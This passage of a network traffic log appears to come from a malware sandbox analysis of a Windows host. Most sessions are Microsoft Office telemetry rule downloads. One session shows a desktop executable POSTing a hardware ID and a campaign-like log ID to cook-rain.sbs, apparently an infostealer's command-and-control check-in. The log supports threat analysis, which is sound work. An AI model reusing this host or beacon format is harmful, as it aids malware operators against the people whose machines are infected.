64	192.168.2.6	49773	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:27 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:27 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071227Z-185f5d8b95cf7qddhC1NYC66an0000000a000000000050wm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:27 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49775	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:27 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071227Z-1777c6cb7544n7p6hC1TEByvb400000009e0000000004w86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49774	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071227Z-1777c6cb7544n7p6hC1TEByvb400000009c000000000a2e3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49776	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:27 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:27 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071227Z-1777c6cb754xjpthhC1TEBexs8000000093g000000009xvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:27 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49777	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:28 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071228Z-r1d97b99577mrt4rhC1TEBftkc00000008d0000000009m45 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49778	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:28 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071228Z-185f5d8b95c4vwv8hC1NYCy4v40000000a2g000000004zrf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49781	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:28 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:28 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071228Z-1777c6cb7544n7p6hC1TEByvb4000000099000000000kzdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49779	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:28 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071228Z-1777c6cb754xrr98hC1TEB3kag000000090g00000000gc0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49780	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:28 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071228Z-1777c6cb754xlpjshC1TEBv8cc00000009e0000000005qap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49782	188.114.97.3	443	5728	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:28 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6KVZD9SNXXEETI2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1225 Host: cook-rain.sbs
2024-11-20 07:12:28 UTC	1225	OUT	Data Raw: 2d 2d 36 4b 56 5a 44 39 53 4e 58 58 45 45 54 49 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 35 34 31 38 33 31 32 37 45 31 34 44 35 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 36 4b 56 5a 44 39 53 4e 58 58 45 45 54 49 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 4b 56 5a 44 39 53 4e 58 58 45 45 54 49 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --6KVZD9SNXXEETI2Content-Disposition: form-data; name="hwid"B54183127E14D51763CFCF7E6C45F838--6KVZD9SNXXEETI2Content-Disposition: form-data; name="pid"1--6KVZD9SNXXEETI2Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-20 07:12:28 UTC	979	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lla2sl46evs9ajdd188j8i8do2; expires=Sun, 16-Mar-2025 00:59:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Em6q8xBDGpOvVfWGG7QBxlZIHvz9dMLmDyzXzj2PM%2Fu2wkT7hf%2FfxA5AMe91tnMrKa5ApC0DFTF1qSJy6rkXmBKj9ORffn16zRjxMdlf9dZmCc7UGdpfJwiDEVM5TpzT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a1c19dab439f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1585&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2136&delivery_rate=1812538&cwnd=239&unsent_bytes=0&cid=8501d188951512b8&ts=420&x=0"
2024-11-20 07:12:28 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 07:12:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49783	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:28 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071229Z-1777c6cb754lvj6mhC1TEBke9400000009ag000000008ufc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49786	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:29 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071229Z-r1d97b99577kk29chC1TEBemmg00000008h000000000afsb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
